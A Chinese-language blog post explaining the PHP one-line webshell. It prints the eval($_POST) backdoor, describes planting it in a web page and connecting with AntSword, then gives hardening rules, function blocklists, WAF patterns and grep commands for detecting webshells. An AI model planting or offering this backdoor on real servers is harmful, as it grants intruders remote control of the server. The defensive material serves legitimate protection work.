简介
一句话木马就是一段简单的代码,就这短短的一行代码,就能做到和大马相当的功能。一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用。
原理
<?php @eval($_POST['shell']);?>
这是php的一句话后门中最普遍的一种。它的工作原理是:
首先存在一个名为shell的变量,shell的取值为HTTP的POST方式。Web服务器对shell取值以后,然后通过eval()函数执行shell里面的内容。
实践
先在我的网站api.xhuaxs.com目录下新建test.php文件作为本次的木马测试文件
那么这个网页的url就是:https://api.xhuaxs.com/test.php
在该文件内我们可以正常写入一些php代码,让网页可是正常的显示内容
随后我们只需要在代码的任意位置加入一句代码:
<?php @eval($_POST['shell']);?>那么,木马就这样轻松的植入成功了,且不影响网页的正常访问
此时只需使用连接工具就可实现入侵了,我这里使用的是蚁剑(GitHub - AntSwordProject/antSword: 中国蚁剑是一款跨平台的开源网站管理工具。AntSword is a cross-platform website management toolkit.)

进入软件后直接右键添加数据
url就是植入木马的网页地址,连接密码就是变量,上述提供的示例代码变量是shell,故连接密码就是shell
如果有时添加提示失败可能需要在其他设置>勾选忽略HTTPS证书

然后添加就行了,添加完成后直接双击进入即可实现入侵
这php一句话木马歹毒的就在于首先它很简单,但是入侵后能控制的是整个服务器的文件,而不是单个网站目录下的文件
预防
1. 服务器与PHP环境加固
禁用高危函数
在php.ini中禁用危险函数(如eval、system、exec等):disable_functions = eval,assert,system,exec,passthru,shell_exec,popen,proc_open关闭危险配置
禁用动态代码执行和远程文件包含:allow_url_fopen = Off allow_url_include = Off限制文件权限
- 运行PHP的用户(如
www-data)权限最小化。 - 网站根目录权限设为
755,文件权限设为644。 上传目录禁止执行PHP:
Nginx 配置示例:location ~* ^/uploads/.*\.(php|phar)$ { deny all; }Apache 配置示例(在
.htaccess中):filesmatch Order Deny,Allow Deny from all
- 运行PHP的用户(如
2. 代码安全实践
过滤所有用户输入
对$_GET、$_POST、$_COOKIE等输入严格过滤:$input = filter_input(INPUT_GET, 'param', FILTER_SANITIZE_STRING);- 避免动态执行代码
禁止使用eval()、create_function()等函数。 文件上传安全
- 验证文件类型(检查MIME类型+文件头,而非仅扩展名)。
- 重命名上传文件(如
md5(uniqid()).jpg)。 - 存储到非Web可访问目录(通过脚本代理访问)。
- 避免动态执行代码
3. Web服务器防护
- WAF(Web应用防火墙)
部署ModSecurity(开源WAF),拦截木马特征请求(如eval(、base64_decode()。 目录访问控制
禁止遍历敏感目录(如/tmp、/uploads):location ~ ^/(tmp|uploads)/ { deny all; }
4. 入侵检测与监控
- 文件完整性监控
使用工具(如 AIDE、Tripwire)监控网站文件变动,实时告警。 - 日志分析
监控PHP错误日志,扫描可疑行为(如多次包含失败、eval错误)。 恶意文件扫描
定期用工具扫描(如 ClamAV +自定义规则):
bashclamscan -r --include="\.(php|txt)$" /var/www/html
5. 开发规范
避免拼接动态路径
禁止代码如:include($_GET['page'] . '.php');
改用白名单机制:$allowed = ['home','about']; if (in_array($_GET['page'], $allowed)) { include($_GET['page'] . '.php'); }- 使用安全框架
选择Laravel、Symfony等框架,其内置过滤和ORM降低风险。
6. 应急响应
木马排查命令
快速定位可疑文件:# 查找含eval/base64的PHP文件 grep -r --include="*.php" "eval(" /var/www/html grep -r --include="*.php" "base64_decode" /var/www/html # 查找最近修改的文件 find /var/www/html -type f -mtime -1 -name "*.php"
1 条评论
不错